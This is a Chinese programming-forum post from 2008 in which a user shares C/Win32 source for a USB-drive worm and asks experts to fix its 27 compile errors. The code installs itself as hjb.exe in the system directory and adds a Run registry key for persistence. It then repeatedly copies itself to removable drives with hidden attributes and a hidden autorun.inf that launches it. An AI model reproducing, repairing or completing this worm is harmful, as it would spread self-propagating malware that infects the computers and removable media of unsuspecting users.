| 编程中国 | 业界新闻 | 技术文章 | 视频教程 | 下载频道 | 程序源码 | 个人空间 | 编程论坛
全能ASP/PHP/ASP.NET主机,支持月付专业 MSSQL 数据库空间,支持月付专业 MySQL 数据库空间,支持月付买域名,送MP3、MP4
高端软件开发 = 年薪十万不是梦赛孚耐:软件保护加密专家身份认证令牌USB KEY买空间,免费送域名(厦门中资源)
共有 213 人关注过本帖
标题:我写了个U盘传播源码`不知道错在哪里了``
收藏  订阅  推荐  打印 
doudou1992
Rank: 1
等级:新手上路
帖子:3
积分:130
注册:2008-8-20
我写了个U盘传播源码`不知道错在哪里了``

#include<windows.h>
#include "Shlwapi.h"

LRESULT CALLBACK myproc(HWND,UINT,WPARAM,LPARAM);
void setBoot();
void infect();
void CALLBACK TimerProc(HWND,UINT,UINT,DWORD);

HWND hwnd;

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
{
MSG msg;
WNDCLASS wndclass;

wndclass.cbClsExtra=0;
wndclass.cbWndExtra=0;
wndclass.hbrBackground=HBRUSH(COLOR_MENU+1);
wndclass.hCursor=LoadCursor(NULL,IDC_CROSS);
wndclass.hIcon=NULL;
wndclass.hInstance=hInstance;
wndclass.lpfnWndProc=myproc;
wndclass.lpszClassName="test";
wndclass.style=CS_VREDRAW|CS_DBLCLKS|CS_HREDRAW|CS_OWNDC;
wndclass.lpszMenuName=NULL;

RegisterClass(&wndclass);
hwnd=CreateWindow("test","test1",WS_OVERLAPPEDWINDOW,200,200,200,200,NULL,NULL,hInstance,NULL);

while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}

return 0;
}

LRESULT CALLBACK myproc(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam)
{
switch(message)
{
case WM_CREATE:
setBoot();
SetTimer(hwnd,1,8000,TimerProc);
return 0;
case WM_DESTROY:
PostQuitMessage(0);
return 0;
default:
return DefWindowProc(hwnd,message,wParam,lParam);
}
}

void setBoot()
{
int pcount;
int i;
char position[512];
char fileName[]={"\\hjb.exe"};
pcount=GetSystemDirectory(position,512);
for(i=pcount;fileName[i-pcount]!='\0';i++)
{
position[i]=fileName[i-pcount];
}
position[i]='\0';

char buffer[255];

if(PathFileExists(position)==false)
{
GetModuleFileName(NULL,buffer,255);
CopyFile(buffer,position,FALSE);
}

char regname[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
HKEY hkResult;
int rets;
rets=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);
rets=RegSetValueEx(hkResult,"theFile",0,REG_EXPAND_SZ,(unsigned char *)position,32);

if(rets==0)
{
RegCloseKey(hkResult);
}
}

void createINF(char drive)
{
char autorun[]={"[autorun]\nopen=hjb.exe\n"};
char path[]={"x:\\autorun.inf"};
path[0]=drive;

HANDLE inf;
unsigned long count;
inf=CreateFile(path,GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_HIDDEN,NULL);
if(inf!=INVALID_HANDLE_VALUE)
{
WriteFile(inf,autorun,sizeof(autorun),&count,NULL);
CloseHandle(inf);
}
}

void infect()
{
char i;
char pat[255];
char buffer[255];
char fileName[]={"\\hjb.exe"};
pat[1]=':';
pat[2]='\\';
pat[3]='\0';

int j;
for(j=3;fileName[j-3]!='\0';j++)
{
pat[j]=fileName[j-3];
}
pat[j]='\0';

for(i='C';i<='Z';i++)
{
pat[0]=i;
pat[3]='\0';
if(GetDriveType(pat)==DRIVE_REMOVABLE)
{
pat[3]='\\';
GetModuleFileName(NULL,buffer,255);
CopyFile(buffer,pat,FALSE);
SetFileAttributes(pat,7);
createINF(i);
pat[3]='\0';
}
}
}

void CALLBACK TimerProc(HWND hwnd,UINT uMsg,UINT idEvent,DWORD dwTime)
{
infect();
}



----------------------------------------------------------
正在生成代码...
生成日志保存在“file://c:\Documents and Settings\Administrator\My Documents\Visual Studio 2008\Projects\s\s\Debug\BuildLog.htm”
s - 27 个错误,个警告


请高手帮我改改
搜索更多相关主题的帖子: U盘  源码  
2008-8-20 20:56
关于我们 | 广告合作 | 编程中国 | 清除Cookies | Archiver | WAP | TOP

编程中国 版权所有,并保留所有权利。鲁ICP备08000592号
Powered by Discuz, Processed in 0.050916 second(s), 9 queries.
Copyright©2004-2008, BCCN.NET, All Rights Reserved